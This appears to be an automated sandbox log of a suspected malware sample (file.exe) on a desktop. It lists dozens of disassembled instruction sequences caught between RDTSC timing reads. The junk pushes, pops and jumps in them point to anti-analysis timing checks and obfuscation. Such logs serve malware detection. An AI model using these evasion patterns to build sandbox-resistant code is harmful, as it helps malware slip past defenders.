Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259E23 second address: 1259E33 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F0790D58126h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1259E33 second address: 1259E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125945B second address: 1259461 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E328 second address: 125E32E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E32E second address: 125E332 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 125E332 second address: 125E346 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F0790D580AEh 0x0000000c jnp 00007F0790D580A6h 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126394A second address: 126398D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D5812Bh 0x00000007 jmp 00007F0790D58136h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jmp 00007F0790D58137h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E70FA second address: 11E7140 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0790D580B1h 0x00000009 popad 0x0000000a jnp 00007F0790D580AEh 0x00000010 jmp 00007F0790D580B7h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jg 00007F0790D580A6h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7140 second address: 11E7148 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11E7148 second address: 11E7152 instructions: 0x00000000 rdtsc 0x00000002 je 00007F0790D580AEh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266F28 second address: 1266F73 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F0790D5813Dh 0x00000008 js 00007F0790D58126h 0x0000000e jmp 00007F0790D58131h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jns 00007F0790D5813Ch 0x0000001c jng 00007F0790D5812Ah 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12218C9 second address: 1209C89 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0790D580A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0790D580B9h 0x0000000f popad 0x00000010 mov dword ptr [esp], eax 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F0790D580A8h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov di, bx 0x00000030 pushad 0x00000031 call 00007F0790D580B3h 0x00000036 pushad 0x00000037 popad 0x00000038 pop ecx 0x00000039 mov esi, 4F05D8E9h 0x0000003e popad 0x0000003f lea eax, dword ptr [ebp+1248362Ah] 0x00000045 jmp 00007F0790D580B5h 0x0000004a nop 0x0000004b jne 00007F0790D580B5h 0x00000051 push eax 0x00000052 jmp 00007F0790D580B1h 0x00000057 nop 0x00000058 movsx edi, ax 0x0000005b sub dword ptr [ebp+122D334Eh], edx 0x00000061 call dword ptr [ebp+122D30A6h] 0x00000067 push eax 0x00000068 push edx 0x00000069 push eax 0x0000006a push edx 0x0000006b pushad 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1221B5E second address: 1221B63 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122207E second address: 1222082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222082 second address: 12220FF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c jp 00007F0790D5813Ch 0x00000012 jnc 00007F0790D5812Ch 0x00000018 popad 0x00000019 pop eax 0x0000001a push 00000000h 0x0000001c push edi 0x0000001d call 00007F0790D58128h 0x00000022 pop edi 0x00000023 mov dword ptr [esp+04h], edi 0x00000027 add dword ptr [esp+04h], 0000001Ah 0x0000002f inc edi 0x00000030 push edi 0x00000031 ret 0x00000032 pop edi 0x00000033 ret 0x00000034 mov dx, 4FF2h 0x00000038 mov edx, dword ptr [ebp+122D2A23h] 0x0000003e call 00007F0790D58129h 0x00000043 push eax 0x00000044 push edx 0x00000045 jl 00007F0790D58130h 0x0000004b jmp 00007F0790D5812Ah 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 122230C second address: 1222310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222566 second address: 1222576 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0790D58126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222C0C second address: 1222C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222C10 second address: 1222C28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F0790D58130h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222C61 second address: 1222C65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222C65 second address: 1222C6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222C6B second address: 1222C71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222C71 second address: 1222CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F0790D5812Ch 0x0000000e nop 0x0000000f mov edx, dword ptr [ebp+122D2BABh] 0x00000015 lea eax, dword ptr [ebp+1248366Eh] 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F0790D58128h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 00000014h 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 ja 00007F0790D5812Ch 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222CBE second address: 1222D3E instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0790D580ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d ja 00007F0790D580A7h 0x00000013 lea eax, dword ptr [ebp+1248362Ah] 0x00000019 push 00000000h 0x0000001b push edi 0x0000001c call 00007F0790D580A8h 0x00000021 pop edi 0x00000022 mov dword ptr [esp+04h], edi 0x00000026 add dword ptr [esp+04h], 0000001Dh 0x0000002e inc edi 0x0000002f push edi 0x00000030 ret 0x00000031 pop edi 0x00000032 ret 0x00000033 jp 00007F0790D580A7h 0x00000039 nop 0x0000003a push esi 0x0000003b pushad 0x0000003c jmp 00007F0790D580B1h 0x00000041 jmp 00007F0790D580B4h 0x00000046 popad 0x00000047 pop esi 0x00000048 push eax 0x00000049 push edi 0x0000004a push eax 0x0000004b push edx 0x0000004c je 00007F0790D580A6h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1222D3E second address: 1222D42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12673BE second address: 12673C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12677C6 second address: 1267807 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jmp 00007F0790D5812Fh 0x0000000e jmp 00007F0790D5812Dh 0x00000013 jl 00007F0790D58126h 0x00000019 popad 0x0000001a push edx 0x0000001b jmp 00007F0790D58133h 0x00000020 pop edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267807 second address: 126780C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267A7D second address: 1267A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267A83 second address: 1267A8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267A8E second address: 1267A92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267C05 second address: 1267C0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267C0B second address: 1267C0F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126DC65 second address: 126DC98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D580B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F0790D580B6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126DC98 second address: 126DC9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126DC9D second address: 126DCD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 jmp 00007F0790D580B0h 0x0000000b jmp 00007F0790D580AAh 0x00000010 popad 0x00000011 pop edx 0x00000012 pop eax 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F0790D580B2h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126DCD4 second address: 126DCDE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F0790D58126h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CA0E second address: 126CA2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0790D580B6h 0x00000009 pop ebx 0x0000000a popad 0x0000000b pushad 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CA2E second address: 126CA47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F0790D58126h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push esi 0x0000000d pop esi 0x0000000e pushad 0x0000000f popad 0x00000010 pop eax 0x00000011 jne 00007F0790D5812Ch 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CBA8 second address: 126CBAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CBAC second address: 126CBE0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F0790D58126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0790D58135h 0x0000000f pop edx 0x00000010 jns 00007F0790D5813Ch 0x00000016 jmp 00007F0790D5812Ah 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e pop edi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CEC6 second address: 126CECA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CECA second address: 126CED0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CED0 second address: 126CEE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0790D580ACh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CEE0 second address: 126CEEE instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CEEE second address: 126CEF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CEF2 second address: 126CEF8 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126CEF8 second address: 126CF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0790D580AAh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126D4F4 second address: 126D524 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0790D58134h 0x0000000b pushad 0x0000000c jmp 00007F0790D58131h 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126DAB7 second address: 126DAC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F0790D580A6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 126DAC1 second address: 126DAE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D58136h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F0790D58126h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12710A8 second address: 12710AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12710AC second address: 12710B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12710B0 second address: 12710B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12710B8 second address: 12710BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12710BD second address: 12710CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12710CD second address: 12710D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12710D4 second address: 12710DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12710DA second address: 12710DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12710DE second address: 12710E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270C92 second address: 1270CCC instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0790D5812Ch 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jl 00007F0790D58126h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jng 00007F0790D58139h 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e jmp 00007F0790D58131h 0x00000023 push eax 0x00000024 push eax 0x00000025 pop eax 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270CCC second address: 1270CD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270E24 second address: 1270E39 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F0790D58126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F0790D5812Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270E39 second address: 1270E3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1270E3F second address: 1270E43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1273543 second address: 1273553 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D580ACh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1273553 second address: 1273568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F0790D5812Fh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279D96 second address: 1279DBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop eax 0x00000007 jc 00007F0790D580BEh 0x0000000d jmp 00007F0790D580B8h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279DBB second address: 1279DD7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 js 00007F0790D58126h 0x0000000b popad 0x0000000c push esi 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jbe 00007F0790D58140h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279DD7 second address: 1279DDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279DDD second address: 1279DE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1279DE1 second address: 1279DE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127859C second address: 12785B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F0790D58136h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12785B6 second address: 12785C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12785C0 second address: 12785CA instructions: 0x00000000 rdtsc 0x00000002 jno 00007F0790D58126h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12785CA second address: 12785D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278783 second address: 12787C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D58137h 0x00000007 jp 00007F0790D58126h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnc 00007F0790D58128h 0x00000015 jmp 00007F0790D58130h 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12787C0 second address: 12787C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278949 second address: 127894F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127894F second address: 127895A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jp 00007F0790D580A6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127895A second address: 127897F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c pop eax 0x0000000d jmp 00007F0790D58138h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127897F second address: 1278984 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278AD5 second address: 1278ADA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278ADA second address: 1278AFF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007F0790D580B9h 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jnp 00007F0790D580A6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278AFF second address: 1278B09 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F0790D58126h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1278C64 second address: 1278C6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12790C1 second address: 12790E0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F0790D58134h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127DE20 second address: 127DE26 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127D0AB second address: 127D0B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127D0B1 second address: 127D0B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127D0B5 second address: 127D0C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jnp 00007F0790D58126h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127D0C5 second address: 127D0C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 127D0C9 second address: 127D0CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
